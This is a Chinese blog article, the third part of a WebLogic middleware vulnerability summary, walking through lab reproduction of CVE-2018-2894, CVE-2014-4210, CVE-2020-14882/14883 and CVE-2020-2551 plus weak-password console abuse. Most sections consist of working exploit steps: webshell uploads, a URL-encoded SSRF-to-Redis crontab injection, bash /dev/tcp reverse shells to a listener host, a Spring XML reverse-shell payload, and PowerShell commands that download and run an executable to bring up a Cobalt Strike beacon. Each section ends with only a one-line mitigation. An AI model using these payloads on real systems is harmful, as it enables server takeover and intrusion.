weblogic中间件漏洞总结(三)

本文涉及的产品
服务治理 MSE Sentinel/OpenSergo,Agent数量 不受限
简介: weblogic中间件漏洞总结

5.WebLogic 未授权访问漏洞(CVE-2018-2894)

漏洞简介

Weblogic Web Service Test Page中有两个未授权页面,可以上传任意文件。但是有一定的限制,该页面在开发模式下存在,在生产模式下默认不开启,如果是生产模式,需要登陆后台进行勾选启动web服务测试页,如下图。

08c880b7200bea58195d7b4288dcf0dc_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210813145148182

影响版本
10.3.6
12.1.3
12.2.1.2
12.2.1.3
验证漏洞

测试页有两个

/ws_utc/config.do
/ws_utc/begin.do
漏洞复现

这里要注意的是12版本,以前以及现在的默认安装是“开发模式”,“生产模式”下没有这两处上传点。如果是生产模式,需要登陆后台进行如下配置:(开发环境下不需要!!)

f32d87a117973f4f1089e6121a2d0946_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.pngimage-20210814171049349e44ba1e67e5f8761aa173eefd9d2e313_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

勾选启用web服务测试项,保存重启weblogic即可

4caa4220ecb91b56be95ad85e449836f_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

1.测试/ws_utc/config.do

访问/ws_utc/config.do页面,首先设置一下路径,设置Work Home Dir为ws_utc应用的静态文件css目录,因为默认上传目录不在Web目录无法执行webshell,这里设置为:(css访问不需要任何权限)

C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\com.oracle.webservices.wls.ws-testclient-app-wls_12.1.3\cmprq0\war\css

aa1689e768aca465edd65168f0ab2026_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png9ce230fb9d17e05ed0abd7b4a5cee50d_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.pngf912ed3a4b46a52a1f7abfe0d9ac4d21_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.pngimage-20210813152013436

提交后,点击左边安全->添加,上传jsp大马

2b315701309c3dbca68dcf50f06b728e_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

2d82d7c86419da238e1df99bea08fa04_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

获取文件id:1628933663766

82b9e0b6e1f4ca5b2b0867b5f036b5e2_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

访问url:

http://192.168.0.105/:7001/ws_utc/css/config/keystore/{时间戳}_{文件名}
http://192.168.0.105:7001/ws_utc/css/config/keystore/1628933663766_JspSpy.jsp

f82043ce68843aff72658628d404d21f_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.pngimage-20210814173547786

输入密码

3d03b635efe63733365e3f9df49cdcc1_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.pngimage-202108141739039648df147f4ba54bc79a0fca964ca118fbf_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.pngimage-20210814174004800

可以看见成功上线,同样方法也可以上传一句话或者其他木马。

2.测试 /ws_utc/begin.do

大致方法和上面的url一样,这里需要注意的是

1./ws_utc/begin.do使用的工作目录是在/ws_utc/config.do中设置的Work Home Dir;
2.利用需要知道部署应用的web目录;
3.在生产模式下不开启,后台开启后,需要认证。

14c5531660f2f0072558be48d2675916_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210814175127172

image-20210814175507654cae10179dea94f017b8bb8a83e49d670_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.pngimage-20210814180116136

报错可以忽略,返回包中已有文件路径

/css/upload/RS_Upload_2021-08-14_17-59-33_143/import_file_name_zcccmd.jsp

bf3ef2e36e83a9764aa9781af976ea29_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210814180054350

访问路径,成功访问,powershell上线cs

http://192.168.0.105:7001/ws_utc/css/upload/RS_Upload_2021-08-14_17-59-33_143/import_file_name_zcccmd.jsp

59cbfe374cf857e3de8d7d3bb1d07321_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

powershell -Command (new-object System.Net.WebClient).DownloadFile('http://192.168.0.108/zcc.exe','zcc.exe');start-process zcc.exe

48328037842a66fd1d5f854dd6f1af82_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

0bce5d62a5f566fac8dc87928e29c2de_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.pngimage-20210814181718937

安全防护

1.启动生产模式后Config.do页面登录授权后才可访问

2.升级到最新版本,目前生产模式下已取消这两处上传文件的地方。

6.Weblogic SSRF漏洞(CVE-2014-4210)

漏洞简介

Oracle WebLogic Web Server既可以被外部主机访问,同时也允许访问内部主机。比如有一个jsp页面SearchPublicReqistries.jsp,我们可以利用它进行攻击,未经授权通过weblogic server连接任意主机的任意TCP 端口,可以能冗长的响应来推断在此端口上是否有服务在监听此端口,进而攻击内网中redis、fastcgi等脆弱组件。

影响版本
10.0.2.0
10.3.6.0
验证漏洞

访问该路径,如果能正常访问,说明存在该漏洞

/uddiexplorer/SearchPublicRegistries.jsp

be3a8dffdc637c6d6b4c152a9f5e956b_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210814185115833

漏洞复现

这里复现用的vulhub靶场环境

c6febbbb77ecc1441ccb83e436a89854_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

抓包,在url后跟端口,把url修改为自己搭建的服务器地址,访问开放的7001端口

51a6c320c8d1d5a978c589a36bd15ed0_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210814192248494

4d29291bd526ae28f949561dd6540c31_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210814192515111

发现返回如下信息,说明开放7001端口,但是不是http协议

An error has occurred<BR>weblogic.uddi.client.structures.exception.XML_SoapException: The server at http://127.0.0.1:7001 returned a 404 error code &#40;Not Found&#41;.  Please ensure that your URL is correct, and the web service has deployed without error.

image-20210814192706701

访问未开放的端口,会返回下面的信息

An error has occurred<BR>weblogic.uddi.client.structures.exception.XML_SoapException: Tried all: &#39;1&#39; addresses, but could not connect over HTTP to server: &#39;127.0.0.1&#39;, port: &#39;7002&#39;

3617d6fa4eb3d05837e170a9d0620e40_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210814193417626

访问存在的端口,且为http协议时返回如下

An error has occurred<BR>
weblogic.uddi.client.structures.exception.XML_SoapException: Received a response from url: http://192.168.0.108:80 which did not have a valid SOAP content-type: text/html.

fb85645432837a1a836a8c48ca97d2fd_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210814203203147

7.weblogic SSRF联动Redis

漏洞复现

依旧用的上面这个靶场

15bfea3104cb67a1a16e5002bbca383d_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210814204005054

这里查一下开启redis服务的这个容器IP,找到ip:172.20.0.2

docker inspect a5a

15e2b56889ea1fa5f6b24549062ec89d_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210814204200558

可以看见6379的端口存在,且为http协议

58c4125ae03c447cf0456cf0eb63bee2_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210814204413085

本机监听12345端口

101dc6cf6a46d3ffe8b4941ac6f41788_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210814204756777

burp改包直接将弹shell脚本到本机kail上(192.168.0.104)

set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/192.168.0.104/12345 0>&1\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save

经过url编码后,写入bp中operator参数的后面:

operator=http://172.20.0.2:6379/test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.0.104%2F12345%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa

742e7b789a9d1e6d01ec8ca11845e248_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.pngimage-20210814210942824

ca0f0a7577ea0eaf329942fb01fa27fe_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210814211117689

反弹shell成功。

安全防护

升级高版本。

8.Weblogic弱口令&&后台getshell

漏洞简介

由于管理员的安全意识不强,或者配置时存在疏忽,会导致后台存在弱口令或者默认的用户名/口令。

影响版本

全版本

漏洞复现

通过弱口令登录管理台后,点击部署->安装

c82013bd117d392833f1262975207e16_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.pngimage-20210814212040819

138287c91f3a8c7749bf4a54ea92602a_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210814212434754

646c4d9d4684cac6000bd60ad715c2a3_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210814212521338

这里war包成功上传

6dd8dab7da0264890d6f4431f620b350_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210814212645817

将其作为应用程序安装

image-20210814212857889

52729403e7129efcd6f9642acc424ab9_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210814212917962

点击完成。

5b431b0b15dc0a667f240d124dc74c4f_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210814213012827

可以看见部署成功,访问url

http://192.168.0.105:7001/zcc/JspSpy.jsp

image-20210814214222692

输入密码,即可成功拿到webshell

f11e4c68da910ad0093284090f92d46f_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210814214304327

安全防护

避免出现弱口令

9.Weblogic Console HTTP协议远程代码执行漏洞(CVE-2020-14882/CVE-2020-14883)

漏洞简介

未经身份验证的远程攻击者可能通过构造特殊的 HTTP GET请求,利用该漏洞在受影响的 WebLogic Server 上执行任意代码。它们均存在于WebLogic的Console控制台组件中。此组件为WebLogic全版本默认自带组件,且该漏洞通过HTTP协议进行利用。将CVE-2020-14882和CVE-2020-14883进行组合利用后,远程且未经授权的攻击者可以直接在服务端执行任意代码,获取系统权限。

影响版本
10.3.6.0
12.1.3.0
12.2.1.3
12.2.1.4
14.1.1.0
漏洞复现

CVE-2020-14883: 权限绕过漏洞的poc:

http://192.168.0.105:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=AppDeploymentsControlPage&handle=com.bea.console.handles.JMXHandle%28%22com.bea%3AName%3Dbase_domain%2CType%3DDomain%22%29

访问该url之后,进入如下页面,可以看见成功进入管理台:

1ea175a2cfa68674771ce3d31d853221_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210814220636352

CVE-2020-14882: 代码执行漏洞的poc:

http://192.168.0.106:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.
mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27touch /tmp/zcc123%27);%22);

这里复现用的vulhub靶场

08631951c38ff281cf10281c73c12206_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210814222333621

访问报404,不要慌,此时去容器中看会发现文件已成功写入;

4487cd97a482c22068255d498556cfcf_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210814221311713

5952fb40a83e9cf17fd5d174f066f5eb_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

这里执行反弹shell的xml文件poc.xml:

## poc.xml
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
  <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
    <constructor-arg>
      <list>
        <value>/bin/bash</value>
        <value>-c</value>
        <value><![CDATA[bash -i >& /dev/tcp/192.168.0.104/6669 0>&1]]></value>
      </list>
    </constructor-arg>
  </bean>
</beans>

把poc.xml放在打开http服务的kali机子上(ip:192.168.0.108):

3f43699167e5bf3494719ee21b398b6f_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

在监听机子上开启监听:

0b3ea9a3808d3bd3216b3121f02459ff_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210814223442393

然后访问该url:

http://192.168.0.106:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.bea.core.repackaged
.springframework.context.support.ClassPathXmlApplicationContext("http://192.168.0.108/poc.xml")

dc4283cd1a8c2b6959f1a71f3c86ff3a_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210814224224450

同理,上线cs的话把反弹的命令改了即可。

安全防护

升级官方补丁:https://www.oracle.com/security-alerts/cpuoct2020.html

10.IIOP反序列化漏洞(CVE-2020-2551)

漏洞简介

2020年1月15日,Oracle官方发布2020年1月关键补丁更新公告CPU(CriticalPatch Update),其中CVE-2020-2551的漏洞,漏洞等级为高危,CVVS评分为9.8分,漏洞利用难度低。IIOP反序列化漏洞影响的协议为IIOP协议,该漏洞是由于调用远程对象的实现存在缺陷,导致序列化对象可以任意构造,在使用之前未经安全检查,攻击者可以通过 IIOP 协议远程访问 Weblogic Server 服务器上的远程接口,传入恶意数据,从而获取服务器权限并在未授权情况下远程执行任意代码.

影响版本
10.3.6.0
12.1.3.0
12.2.1.3
12.2.1.4
漏洞复现

需要安装java8环境

cd /opt
curl http://www.joaomatosf.com/rnp/java_files/jdk-8u20-linux-x64.tar.gz -o jdk-8u20-linux-x64.tar.gz
tar zxvf jdk-8u20-linux-x64.tar.gz
rm -rf /usr/bin/java*
ln -s /opt/jdk1.8.0_20/bin/j* /usr/bin
javac -version
java -version

这里我已经安装好

8ac38622e372cb11d1befad5b21d0eab_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210814225849356

exp.java代码

import java.io.IOException;
public class exp {
 static{
  try {
   java.lang.Runtime.getRuntime().exec(new String[]{"cmd","/c","calc"});
  } catch (IOException e) {
   e.printStackTrace();
  }
 }
 public static void main(String[] args) {
 }
}

image-20210814230308993

java编译exp.java

javac exp.java -source 1.6 -target 1.6

8b5fad54d76e5ce6c8c29185f566f533_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210814230430269

接着python开启http服务,与exp.class在同一文件夹即可

8768ce38a5e899f93e62a5840be38805_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210814230710705

使用marshalsec启动一个rmi服务

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.0.108/#exp" 12345

c9b7ed9287dc6f8f7b35b98b7a813702_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210814230935474

使用工具weblogic_CVE_2020_2551.jar,执行exp

java -jar weblogic_CVE_2020_2551.jar 192.168.0.105 7001 rmi://192.168.0.108:12345/exp

b505de2546a3742c1de5b422ae4573f2_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210814231847184

可以看见成功弹出

f20e8013d622fd8d52fd5d5ef419c1a7_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210814231822800

同理,上线cs的话,只需改exp.java代码即可,后续步骤一样

import java.io.IOException;
public class exp {
 static{
  try {
   java.lang.Runtime.getRuntime().exec(new String[]{"powershell","/c"," (new-object System.Net.WebClient).DownloadFile('http://x.x.x.x/zcc.exe','zcc.exe');start-process zcc.exe"});
  } catch (IOException e) {
   e.printStackTrace();
  }
 }
 public static void main(String[] args) {
 }
}
安全防护

使用官方补丁进行修复:https://www.oracle.com/security-alerts/cpujan2020.html

相关文章
|
9月前
|
Web App开发 安全 Java
WebLogic Server 远程代码执行漏洞(CVE-2021-2109)
WebLogic Server 远程代码执行漏洞,攻击者可通过使用恶意Payload对目标服务器实施攻击并接管服务器获取执行权限。
111 1
|
9月前
|
安全 Java 应用服务中间件
WebLogic Server 远程代码执行漏洞(CVE-2023-21839/CNVD-2023-04389)
WebLogic Server 存在远程代码执行漏洞,攻击者通过特定Payload对目标服务器进行恶意利用从而获取服务器控制权限,进一步操作。
187 1
|
15天前
|
安全 Oracle 关系型数据库
Oracle WebLogic Server远程代码执行漏洞 CVE-2020-14750 已亲自复现_cve-2020-14750漏洞复现
Oracle WebLogic Server远程代码执行漏洞 CVE-2020-14750 已亲自复现_cve-2020-14750漏洞复现
|
17天前
|
开发框架 安全 中间件
38、中间件漏洞解析-IIS6.0
38、中间件漏洞解析-IIS6.0
23 0
|
9月前
|
XML 安全 Java
WebLogic EJBTaglibDescriptor XXE漏洞(CVE-2019-2888)
WebLogic EJBTaglibDescriptor 在反序列化的同时会进行XML解析,通过重写EJBTaglibDescriptor中的writeExternal函数生成恶意的序列化数据。
116 1
H8
|
10月前
|
安全 网络协议 Java
跨语言的艺术:Weblogic 序列化漏洞和 IIOP 协议
Weblogic序列化漏洞主要依赖于T3和IIOP协议,在通信交互方面存在诸多问题,如跨语言、网络传输等,给漏洞检测和利用带来诸多不便。在WhiteHat Labs的理念中,漏洞检测和利用是一项创造性的工作,应该以最简洁高效的方式实现,以保证漏洞的跨平台性和实用性。因此,我们实现了跨语言的IIOP协议通信方案来解决序列化漏洞问题。
H8
159 1
|
12月前
|
XML 安全 Oracle
Weblogic IIOP协议反序列化(CVE-2020-2551)漏洞复现
Weblogic IIOP协议反序列化(CVE-2020-2551)漏洞复现
799 0
|
12月前
|
XML 安全 Oracle
Weblogic XMLDecoder 远程代码执行漏洞 CVE-2017-10271 漏洞复现
Weblogic XMLDecoder 远程代码执行漏洞 CVE-2017-10271 漏洞复现
112 0
|
安全 NoSQL Shell
Weblogic ssrf漏洞复现---从0到1
利用Ubuntu16.04,安装docker,要以root身份执行
188 0
Weblogic ssrf漏洞复现---从0到1
|
XML 安全 Oracle
干货 | 最全最详细的Weblogic漏洞总结(建议收藏)
干货 | 最全最详细的Weblogic漏洞总结(建议收藏)
2869 0

热门文章

最新文章